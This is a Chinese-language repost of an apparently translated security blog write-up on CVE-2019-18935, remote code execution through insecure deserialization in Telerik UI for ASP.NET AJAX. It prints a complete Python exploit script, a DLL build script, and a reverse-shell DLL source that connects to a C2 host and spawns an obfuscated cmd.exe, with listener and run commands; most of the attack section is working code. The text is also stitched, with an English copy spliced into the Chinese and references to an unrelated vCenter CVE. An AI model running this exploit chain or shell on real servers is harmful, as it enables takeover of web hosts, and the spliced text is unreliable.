CVE-2019-18935 通过Telerik UI中的不安全反序列化进行远程代码执行

admin 2021年6月1日04:53:26评论1,088 views字数 23492阅读78分18秒阅读模式

用于ASP.NET AJAX的Telerik UI是用于Web应用程序的UI组件的广泛使用的套件。它以不安全的方式反序列化JSON对象,从而导致在软件的基础主机上执行任意远程代码。Bishop Fox的托管安全服务(MSS)团队已为我们的客户确定并利用了受此漏洞影响的面向Internet的Telerik UI实例。


CVE-2019-18935

通过不安全的反序列化执行远程代码

尽管自2017年发现无限制文件上传漏洞以来,该问题已得到广泛讨论,但Markus Wulftange还是仔细研究了RadAsyncUploadrauPostData在2019年初处理文件上传请求中的参数的方式。他指出,该漏洞rauPostData既包含序列化配置对象,也包含该对象的类型。AsyncUploadHandler使用内部指定的类型rauPostData来准备.NET的JavaScriptSerializer.Deserialize() 方法以正确地反序列化对象。


反序列化期间,JavaScriptSerializer为指定的对象类型调用setter方法。如果此类型是由攻击者控制的,则可能导致危险的情况,攻击者可能会将该类型指定为小工具。小工具是应用程序执行范围内的一类,作为通过设置器或字段分配进行实例化和修改的副作用,它具有使其在反序列化过程中有用的特殊属性。远程代码执行(RCE)小工具的属性允许它执行有助于执行任意代码的操作。


攻击者可以提交文件上传POST请求,而不是在其中提交通常的预期Telerik.Web.UI.AsyncUploadConfiguration类型rauPostData,而将类型指定为RCE小工具。在使用上述不受限制的文件上传漏洞上传了恶意的混合模式程序集DLL之后,攻击者可能会跟进第二个请求,以强制JavaScriptSerializer反序列化类型的对象System.Configuration.Install.AssemblyInstaller。当与攻击者提供的Path指向上传的DLL的属性一起反序列化时,这将导致应用程序将DLL加载到其当前域中。只要混合模式程序集DLL与加载过程具有相同的体系结构,则在加载DLLMain()DLL时将调用其入口点函数。有关更多详细信息,请参阅加载.NET程序集的含义。


CVE-2019-18935漏洞利用详细信息

现在,凭借对必备的不受限制的文件上传漏洞(CVE-2017-11317),反序列化漏洞本身以及混合模式程序集的背景知识,我们现在可以逐步探索此漏洞利用。


识别软件版本

在尝试将Telerik UI用于ASP.NET AJAX之前,请先确认已注册文件上传处理程序:

curl -sk <HOST>/Telerik.Web.UI.WebResource.axd?type=rau{ "message" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly." }

此外,您需要确认Web应用程序正在使用该软件的易受攻击的版本。为了方便起见,Telerik发布了发行历史记录,详细介绍了自2007年4月以来的所有主要软件版本。


未经身份验证

如果使用RadAsyncUpload的应用程序不需要身份验证,则通常可以在应用程序主页的HTML源代码中的某个位置找到UI版本。但是,版本字符串的位置不一致,因此查找它的最佳方法是使用Burp搜索 正则表达式20[0-9]{2}(.[0-9]*)+(并确保选中“ Regex”框)。您也可以使用cURL完成此操作:

curl -skL <HOST> | grep -oE '20[0-9]{2}(.[0-9]*)+'

如果这样不起作用,您也可以搜索字符串<script src="/WebResource以标识站点主页中包含的所有JavaScript文件。选择那里的静态资源之一,并Last-Modified在HTTP响应标头中检查其日期;该日期应与软件的发布日期大致相符。例如,与UI捆绑在一起的JavaScript资源用于ASP.NET AJAX Q1 2013(v2013.1.220,于2013年2月20日发布)将Last-Modified: Wed, 20 Feb 2013 00:00:00 GMT在该文件的HTTP响应标头中读取。


带有身份验证

如果应用程序确实需要身份验证,则可以通过蛮力确定软件版本。由于使用RadAsyncUpload上传文件需要提供正确版本的Telerik UI,因此您可以使用Paul Taylor的RAU_crypto漏洞利用已知漏洞版本提交文件上传请求,直到找到可行的版本:


When the file upload succeeds, you'll see a JSON response containing some encrypted data about the uploaded file:
{"fileInfo":{"FileName":"<NAME>","ContentType":"text/html","ContentLength":<LENGTH>,"DateJson":"<DATE>","Index":0}, "metaData":"VGhpcyBpc24ndCByZWFsIGRhdGEsIGJ1dCB0aGUgQmFzZTY0LWVuY29kZWQgZGF0YSBsb29rcyBqdXN0IGxpa2UgdGhpcy4=" }Now that you’ve verified that the handler is registered and the software is using a vulnerable version, you can proceed to exploit the vulnerability.
Verify Deserialization Vulnerability with Sleep()In preparing to fully compromise a remote host with a reverse shell, you can initially verify the deserialization vulnerability by uploading and loading a simple mixed mode assembly DLL that causes the web application to sleep for 10 seconds. A simple program, sleep.c, will do just that.
Note that I use C, rather than C++, because I've encountered rare occasions where I was unable to execute compiled C++ code on a remote server. I suspect that this is because the target environment did not have the Microsoft Visual C++ Redistributable installed.
sleep.c
#include <windows.h>#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved){ if (fdwReason == DLL_PROCESS_ATTACH) Sleep(10000); // Time interval in milliseconds. return TRUE;}Create a bare C# class in empty.cs to constitute the managed portion of your mixed mode assembly:
class Empty {}Then, in a Windows environment with Visual Studio installed, open a command prompt and run build_dll.bat sleep.c: build_dll.bat
@echo off
set PROGRAM=%1set BASENAME=%PROGRAM:~0,-2%
for /f "tokens=2-4 delims=/ " %%a in ("%DATE%") do ( set YYYY=%%c set MM=%%a set DD=%%b)for /f "tokens=1-4 delims=/:." %%a in ("%TIME: =0%") do ( set HH=%%a set MI=%%b set SS=%%c set FF=%%d)set DATETIME=%YYYY%%MM%%DD%%HH%%MI%%SS%%FF%
@echo on
for %%a in (x86 amd64) do ( setlocal call "C:Program Files (x86)Microsoft Visual Studio2019CommunityVCAuxiliaryBuildvcvarsall.bat" %%a csc /target:module empty.cs cl /c %PROGRAM% link /DLL /LTCG /CLRIMAGETYPE:IJW /out:%BASENAME%_%DATETIME%_%%a.dll %BASENAME%.obj empty.netmodule del %BASENAME%.obj empty.netmodule endlocal)
This batch script accomplishes the following:
Sets environment variables to compile both 32- and 64-bit codeCompiles the empty.cs C# program as a .netmodule file (without generating an assembly)Compiles the specified C program (sleep.c, in this case) as an .obj file (without linking)Links the compiled .netmodule and .obj files, which creates a mixed mode assembly DLL with a unique nameA Cautionary Note About Assembly NamesThe assembly's name as specified in link /out is baked into the assembly's manifest, and will persist even if the file name changes on disk. It's crucial that the assembly is uniquely named at linking time since a .NET application will only load an assembly once with a given name. This means that an assembly "sleep_123.dll" may cause the application to sleep the first time that DLL is loaded through deserialization, but it certainly won't successfully load again; you'll need to rerun build_dll.bat to generate a new assembly for each exploit attempt on the same server.
Before uploading the DLL, it's important to understand what's going to happen on disk on the remote server. RadAsyncUpload will upload your file to a temporary directory whose location is under your control. If you happen to upload two files with the same name (we're talking about file names on disk, not assembly names in a manifest), RadAsyncUpload will append (not overwrite!) the new file to the old one. If the application attempts to load the resulting malformed DLL, it can cause the application to crash—so it's extremely important that you use a unique file name each time you upload a file to the target.
ExploitThe following exploit script leverages the core RadAsyncUpload encryption logic provided by Paul Taylor's RAU_crypto.py to craft an encrypted rauPostData POST parameter; this enables access to the vulnerable AsyncUploadHandler class through which we can upload files and deserialize arbitrary object types. This script also ensures that each uploaded file has a unique name on disk.
CVE-2019-18935.py
#!/usr/bin/env python3
# Import encryption routines.from sys import pathpath.insert(1, 'RAU_crypto')from RAU_crypto import RAUCipher
from argparse import ArgumentParserfrom json import dumps, loadsfrom os.path import basename, splitextfrom pprint import pprintfrom requests import postfrom requests.packages.urllib3 import disable_warningsfrom sys import stderrfrom time import timefrom urllib3.exceptions import InsecureRequestWarning
disable_warnings(category=InsecureRequestWarning)
def send_request(files): response = post(url, files=files, verify=False) try: result = loads(response.text) result['metaData'] = loads(RAUCipher.decrypt(result['metaData'])) pprint(result) except: print(response.text)
def build_raupostdata(object, type): return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
def upload():
# Build rauPostData. object = { 'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), version), 'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), version), 'MaxFileSize': 0, 'TimeToLive': { 'Ticks': 1440000000000, 'Days': 0, 'Hours': 40, 'Minutes': 0, 'Seconds': 0, 'Milliseconds': 0, 'TotalDays': 1.6666666666666666, 'TotalHours': 40, 'TotalMinutes': 2400, 'TotalSeconds': 144000, 'TotalMilliseconds': 144000000 }, 'UseApplicationPoolImpersonation': False } type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4' raupostdata = build_raupostdata(object, type)
with open(filename_local, 'rb') as f: payload = f.read()
metadata = { 'TotalChunks': 1, 'ChunkIndex': 0, 'TotalFileSize': 1, 'UploadID': filename_remote # Determines remote filename on disk. }
# Build multipart form data. files = { 'rauPostData': (None, raupostdata), 'file': (filename_remote, payload, 'application/octet-stream'), 'fileName': (None, filename_remote), 'contentType': (None, 'application/octet-stream'), 'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'), 'metadata': (None, dumps(metadata)) }
# Send request. print('[*] Local payload name: ', filename_local, file=stderr) print('[*] Destination folder: ', temp_target_folder, file=stderr) print('[*] Remote payload name:', filename_remote, file=stderr) print(file=stderr) send_request(files)
def deserialize():
# Build rauPostData. object = { 'Path': 'file:///' + temp_target_folder.replace('\', '/') + '/' + filename_remote } type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' raupostdata = build_raupostdata(object, type)
# Build multipart form data. files = { 'rauPostData': (None, raupostdata), # Only need this now. '': '' # One extra input is required for the page to process the request. }
# Send request. print('n[*] Triggering deserialization...n', file=stderr) start = time() send_request(files) end = time() print('n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
if __name__ == '__main__': parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.') parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln") parser.add_argument('-v', dest='version', required=True, help='software version') parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL') parser.add_argument('-f', dest='folder', required=True, help='destination folder on target') parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau') args = parser.parse_args()
temp_target_folder = args.folder.replace('/', '\') version = args.version filename_local = args.payload filename_remote = str(time()) + splitext(basename(filename_local))[1] url = args.url
upload()
if not args.test_upload: deserialize()Without being able to remotely determine the architecture of the web server's underlying host, you may need to attempt to trigger this vulnerability with both the 32- and 64-bit DLL versions until you find one that works. Invoke the script as follows:
python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:WindowsTemp' -p sleep_2019121205271355_x86.dll
[*] Local payload name: sleep_2019121205271355_x86.dll[*] Destination folder: C:WindowsTemp[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264, 'ContentType': 'application/octet-stream', 'DateJson': '1970-01-01T00:00:00.000Z', 'FileName': '1576142987.918625.dll', 'Index': 0}, 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, ' 'Telerik.Web.UI, Version=<VERSION>, ' 'Culture=neutral, ' 'PublicKeyToken=<TOKEN>', 'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title><span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1><h2> <i>Runtime Error</i> </h2></span>...omitted for brevity...
[*] Response time: 13.01 secondsIf the application pauses for approximately 10 seconds before responding, you've got a working deserialization exploit!
Exploit with Reverse ShellNow that we've verified that we can exploit this vulnerable version of Telerik UI for ASP.NET AJAX, we can instead exploit it with a DLL that spawns a reverse shell to connect back to a server that we control. We use rev_shell.c below, a program that launches a reverse shell as a thread when the DLL is loaded; the threaded nature of this program prevents the shell process from blocking the web application's user interface while running: rev_shell.c
#include <winsock2.h>#include <stdio.h>#include <windows.h>
#pragma comment(lib, "ws2_32")
#define HOST "<HOST>"#define PORT <PORT>
WSADATA wsaData;SOCKET Winsock;SOCKET Sock;struct sockaddr_in hax;char aip_addr[16];STARTUPINFO ini_processo;PROCESS_INFORMATION processo_info;
// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.cvoid ReverseShell(){ WSAStartup(MAKEWORD(2, 2), &wsaData); Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct hostent *host = gethostbyname(HOST); strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET; hax.sin_port = htons(PORT); hax.sin_addr.s_addr = inet_addr(aip_addr);
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); if (WSAGetLastError() == 0) {
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
char *myArray[4] = { "cm", "d.e", "x", "e" }; char command[8] = ""; snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]); CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info); }}
DWORD WINAPI MainThread(LPVOID lpParam){ ReverseShell(); return 0;}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { HANDLE hThread;
if (fdwReason == DLL_PROCESS_ATTACH) hThread = CreateThread(0, 0, MainThread, 0, 0, 0);
return TRUE;}Modify rev_shell.c with the hostname and port of the C2 server where you'll be listening for a callback:sed -i .bu 's/<HOST>/<HOST>/; s/<PORT>/<PORT>/' rev_shell.cUsing the same method of compiling and linking described above, generate your mixed mode assembly DLL:build_dll.bat rev_shell.cOpen a Netcat listener to catch the callback:sudo ncat -lvp <PORT>Then upload and load your DLL!python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:WindowsTemp' -p rev_shell_2019121205271355_x86.dll
How to PatchThe Telerik security advisory tells you what you need to know, but we’ll repeat the most important parts here:
Upgrade Telerik for ASP.NET AJAX to R3 2019 SP1 (v2019.3.1023) or later.Read Telerik's RadAsyncUpload security guide in its entirety, and configure the control according to the recommended security settings.ConclusionThis write-up has demonstrated how an attacker can chain exploits for unrestricted file upload (CVE-2017-11317) and insecure deserialization (CVE-2019-18935) vulnerabilities to execute arbitrary code on a remote machine.
In recent years, insecure deserialization has emerged as an effective attack vector for executing arbitrary code in object-oriented programming frameworks. As we continue to identify and understand this class of vulnerabilities, it’s important that vendors and users employ timely communication to combat the risk posed by vulnerable software. Now that Telerik has released a patch and security advisory for this vulnerability, affected users should do their part by updating and securely configuring their applications.
Big thanks again to Markus Wulftange (@mwulftange) and Paul Taylor (@bao7uo), both of whom paved the way for this work through their prior research.
SHAREINDEXContentsVulnerability DetailsOverview of Vulnerabilities in RadAsyncUploadCVE-2017-11317Unrestricted File Upload via Weak EncryptionCVE-2019-18935Remote Code Execution via Insecure DeserializationOK, What's a Mixed Mode Assembly?CVE-2019-18935 Exploit DetailsIdentify Software VersionWithout AuthenticationWith AuthenticationVerify Deserialization Vulnerability with Sleep()A Cautionary Note About Assembly NamesExploitExploit with Reverse ShellHow to PatchConclusionKEYWORDSResearch - TelerikEmerging ThreatsExploitsRELATED CONTENTTECH BLOGReasonably Secure ElectronTECH BLOGRMIScout: Safely and Quickly Brute-Force Java RMI Interfaces for Code ExecutionTECH BLOGGadgetProbe: Exploiting Deserialization to Brute-Force the

文件上传成功后,您将看到一个JSON响应,其中包含有关上传文件的一些加密数据:

{"fileInfo":{"FileName":"<NAME>","ContentType":"text/html","ContentLength":<LENGTH>,"DateJson":"<DATE>","Index":0}, "metaData":"VGhpcyBpc24ndCByZWFsIGRhdGEsIGJ1dCB0aGUgQmFzZTY0LWVuY29kZWQgZGF0YSBsb29rcyBqdXN0IGxpa2UgdGhpcy4=" }

既然您已经验证了处理程序已注册并且软件正在使用易受攻击的版本,则可以继续利用此漏洞。

使用Sleep()验证反序列化漏洞

在准备完全使用反向外壳破坏远程主机时,可以首先通过上载并加载简单的混合模式程序集DLL来验证反序列化漏洞,该DLL使Web应用程序休眠10秒钟。一个简单的程序sleep.c就能做到这一点。


请注意,我使用C而不是C ++,因为我遇到过罕见的情况,即我无法在远程服务器上执行已编译的C ++代码。我怀疑这是因为目标环境未安装Microsoft Visual C ++可再发行组件。

#include <windows.h>#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved){ if (fdwReason == DLL_PROCESS_ATTACH) Sleep(10000); // Time interval in milliseconds. return TRUE;}

在其中创建一个裸露的C#类empty.cs以构成混合模式程序集的托管部分:

class Empty {}

然后,在安装了Visual Studio的Windows环境中,打开命令提示符并运行build_dll.bat sleep.c:build_dll.bat

@echo off
set PROGRAM=%1set BASENAME=%PROGRAM:~0,-2%
for /f "tokens=2-4 delims=/ " %%a in ("%DATE%") do ( set YYYY=%%c set MM=%%a set DD=%%b)for /f "tokens=1-4 delims=/:." %%a in ("%TIME: =0%") do ( set HH=%%a set MI=%%b set SS=%%c set FF=%%d)set DATETIME=%YYYY%%MM%%DD%%HH%%MI%%SS%%FF%
@echo on
for %%a in (x86 amd64) do ( setlocal call "C:Program Files (x86)Microsoft Visual Studio2019CommunityVCAuxiliaryBuildvcvarsall.bat" %%a csc /target:module empty.cs cl /c %PROGRAM% link /DLL /LTCG /CLRIMAGETYPE:IJW /out:%BASENAME%_%DATETIME%_%%a.dll %BASENAME%.obj empty.netmodule del %BASENAME%.obj empty.netmodule endlocal)

此批处理脚本完成以下任务:

  • 设置环境变量以同时编译32位和64位代码

  • 将empty.csC#程序编译为.netmodule文件(不生成程序集)

  • 将指定的C程序(sleep.c在这种情况下)编译为.obj文件(无链接)

  • 链接编译后的文件.netmodule和.obj文件,从而创建具有唯一名称的混合模式程序集DLL


有关程序集名称的警告说明

指定的程序集名称link /out被烘焙到程序集的清单中,即使文件名在磁盘上更改,该名称也将保留。至关重要的是,程序集在链接时必须具有唯一的名称,因为.NET应用程序将仅使用给定名称加载一次程序集。这意味着程序集“ sleep_123.dll”可能会导致应用程序在第一次通过反序列化加载DLL时使应用程序进入休眠状态,但是它肯定不会成功地再次加载;您需要重新运行build_dll.bat以针对同一服务器上的每次攻击尝试生成一个新程序集。


在上传DLL之前,重要的是要了解远程服务器磁盘上将要发生的事情。RadAsyncUpload会将您的文件上传到一个临时目录,该目录的位置由您控制。如果您碰巧上传两个具有相同名称的文件(我们正在谈论磁盘上的文件名,而不是清单中的程序集名称),则RadAsyncUpload会将新文件追加(而不是覆盖!)到旧文件中。如果应用程序尝试加载生成的格式错误的DLL,则可能导致应用程序崩溃—因此,每次将文件上载到目标时都使用唯一的文件名非常重要。


开发

以下利用脚本利用Paul Taylor提供的核心RadAsyncUpload加密逻辑RAU_crypto.py来制作加密的rauPostDataPOST参数。这样可以访问易受攻击的AsyncUploadHandler类,通过该类我们可以上传文件并反序列化任意对象类型。该脚本还确保每个上载的文件在磁盘上都具有唯一的名称。

#!/usr/bin/env python3
# Import encryption routines.from sys import pathpath.insert(1, 'RAU_crypto')from RAU_crypto import RAUCipher
from argparse import ArgumentParserfrom json import dumps, loadsfrom os.path import basename, splitextfrom pprint import pprintfrom requests import postfrom requests.packages.urllib3 import disable_warningsfrom sys import stderrfrom time import timefrom urllib3.exceptions import InsecureRequestWarning
disable_warnings(category=InsecureRequestWarning)
def send_request(files): response = post(url, files=files, verify=False) try: result = loads(response.text) result['metaData'] = loads(RAUCipher.decrypt(result['metaData'])) pprint(result) except: print(response.text)
def build_raupostdata(object, type): return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
def upload():
# Build rauPostData. object = { 'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), version), 'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), version), 'MaxFileSize': 0, 'TimeToLive': { 'Ticks': 1440000000000, 'Days': 0, 'Hours': 40, 'Minutes': 0, 'Seconds': 0, 'Milliseconds': 0, 'TotalDays': 1.6666666666666666, 'TotalHours': 40, 'TotalMinutes': 2400, 'TotalSeconds': 144000, 'TotalMilliseconds': 144000000 }, 'UseApplicationPoolImpersonation': False } type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4' raupostdata = build_raupostdata(object, type)
with open(filename_local, 'rb') as f: payload = f.read()
metadata = { 'TotalChunks': 1, 'ChunkIndex': 0, 'TotalFileSize': 1, 'UploadID': filename_remote # Determines remote filename on disk. }
# Build multipart form data. files = { 'rauPostData': (None, raupostdata), 'file': (filename_remote, payload, 'application/octet-stream'), 'fileName': (None, filename_remote), 'contentType': (None, 'application/octet-stream'), 'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'), 'metadata': (None, dumps(metadata)) }
# Send request. print('[*] Local payload name: ', filename_local, file=stderr) print('[*] Destination folder: ', temp_target_folder, file=stderr) print('[*] Remote payload name:', filename_remote, file=stderr) print(file=stderr) send_request(files)
def deserialize():
# Build rauPostData. object = { 'Path': 'file:///' + temp_target_folder.replace('\', '/') + '/' + filename_remote } type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' raupostdata = build_raupostdata(object, type)
# Build multipart form data. files = { 'rauPostData': (None, raupostdata), # Only need this now. '': '' # One extra input is required for the page to process the request. }
# Send request. print('n[*] Triggering deserialization...n', file=stderr) start = time() send_request(files) end = time() print('n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
if __name__ == '__main__': parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.') parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln") parser.add_argument('-v', dest='version', required=True, help='software version') parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL') parser.add_argument('-f', dest='folder', required=True, help='destination folder on target') parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau') args = parser.parse_args()
temp_target_folder = args.folder.replace('/', '\') version = args.version filename_local = args.payload filename_remote = str(time()) + splitext(basename(filename_local))[1] url = args.url
upload()
if not args.test_upload: deserialize()

如果无法远程确定Web服务器基础主机的体系结构,则可能需要尝试使用32位和64位DLL版本触发此漏洞,直到找到有效的版本。如下调用脚本:

python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:WindowsTemp' -p sleep_2019121205271355_x86.dll
[*] Local payload name: sleep_2019121205271355_x86.dll[*] Destination folder: C:WindowsTemp[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264, 'ContentType': 'application/octet-stream', 'DateJson': '1970-01-01T00:00:00.000Z', 'FileName': '1576142987.918625.dll', 'Index': 0}, 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, ' 'Telerik.Web.UI, Version=<VERSION>, ' 'Culture=neutral, ' 'PublicKeyToken=<TOKEN>', 'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title><span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1><h2> <i>Runtime Error</i> </h2></span>...omitted for brevity...
[*] Response time: 13.01 seconds

如果应用程序在响应之前暂停了大约10秒钟,则说明您已经可以使用反序列化了!


反向外壳利用

既然我们已经验证了可以针对ASP.NET AJAX利用这个易受攻击的Telerik UI版本,我们可以改为使用DLL来利用它,该DLL产生一个反向外壳以连接回我们控制的服务器。我们rev_shell.c在下面使用一个程序,该程序在加载DLL时以线程的形式启动反向外壳程序;该程序的线程性质可防止Shell进程在运行时阻止Web应用程序的用户界面:rev_shell.c

#include <winsock2.h>#include <stdio.h>#include <windows.h>
#pragma comment(lib, "ws2_32")
#define HOST "<HOST>"#define PORT <PORT>
WSADATA wsaData;SOCKET Winsock;SOCKET Sock;struct sockaddr_in hax;char aip_addr[16];STARTUPINFO ini_processo;PROCESS_INFORMATION processo_info;
// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.cvoid ReverseShell(){ WSAStartup(MAKEWORD(2, 2), &wsaData); Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct hostent *host = gethostbyname(HOST); strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET; hax.sin_port = htons(PORT); hax.sin_addr.s_addr = inet_addr(aip_addr);
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); if (WSAGetLastError() == 0) {
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
char *myArray[4] = { "cm", "d.e", "x", "e" }; char command[8] = ""; snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]); CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info); }}
DWORD WINAPI MainThread(LPVOID lpParam){ ReverseShell(); return 0;}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { HANDLE hThread;
if (fdwReason == DLL_PROCESS_ATTACH) hThread = CreateThread(0, 0, MainThread, 0, 0, 0);
return TRUE;}

rev_shell.c使用您将在其中侦听回调的C2服务器的主机名和端口进行修改:

sed -i .bu 's/<HOST>/<HOST>/; s/<PORT>/<PORT>/' rev_shell.c

使用上述相同的编译和链接方法,生成混合模式程序集DLL:

build_dll.bat rev_shell.c

打开一个Netcat侦听器以捕获回调:

udo ncat -lvp <端口>

然后上传并加载您的DLL!

python3 CVE-2019-18935.py -u <主机> /Telerik.Web.UI.WebResource.axd?type=rau -v <版本> -f'C: Windows  Temp'-p rev_shell_2019121205271355_x86.dll

如何打补丁

该Telerik的安全顾问会告诉你,你需要知道的,但是我们在这里重复最重要的部分:

  • 将Telerik for ASP.NET AJAX升级到R3 2019 SP1(v2019.3.1023)或更高版本。

  • 完整阅读Telerik的RadAsyncUpload安全指南,并根据建议的安全设置配置控件。


结论

该文章证明了攻击者如何可以捆绑漏洞利用以进行不受限制的文件上传(CVE-2017-11317)和不安全的反序列化(CVE-2019-18935)漏洞,从而可以在远程计算机上执行任意代码。


近年来,不安全的反序列化已成为一种有效的攻击媒介,可用于在面向对象的编程框架中执行任意代码。随着我们继续发现和理解此类漏洞,供应商和用户必须及时沟通以抵御易受攻击的软件带来的风险,这一点很重要。现在,Telerik已发布此漏洞的补丁程序和安全公告,受影响的用户应通过更新和安全地配置其应用程序来发挥自己的作用。


参考:

https://github.com/NS-Sp4ce/CVE-2021-21972

https://github.com/horizon3ai/CVE-2021-21972

https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

https://github.com/alt3kx/CVE-2021-21972

https://github.com/milo2012/CVE-2021-21972

https://github.com/B1anda0/CVE-2021-21972


CVE-2019-18935 通过Telerik UI中的不安全反序列化进行远程代码执行

本文始发于微信公众号(Ots安全):CVE-2019-18935 通过Telerik UI中的不安全反序列化进行远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年6月1日04:53:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2019-18935 通过Telerik UI中的不安全反序列化进行远程代码执行http://cn-sec.com/archives/284401.html

发表评论

匿名网友 填写信息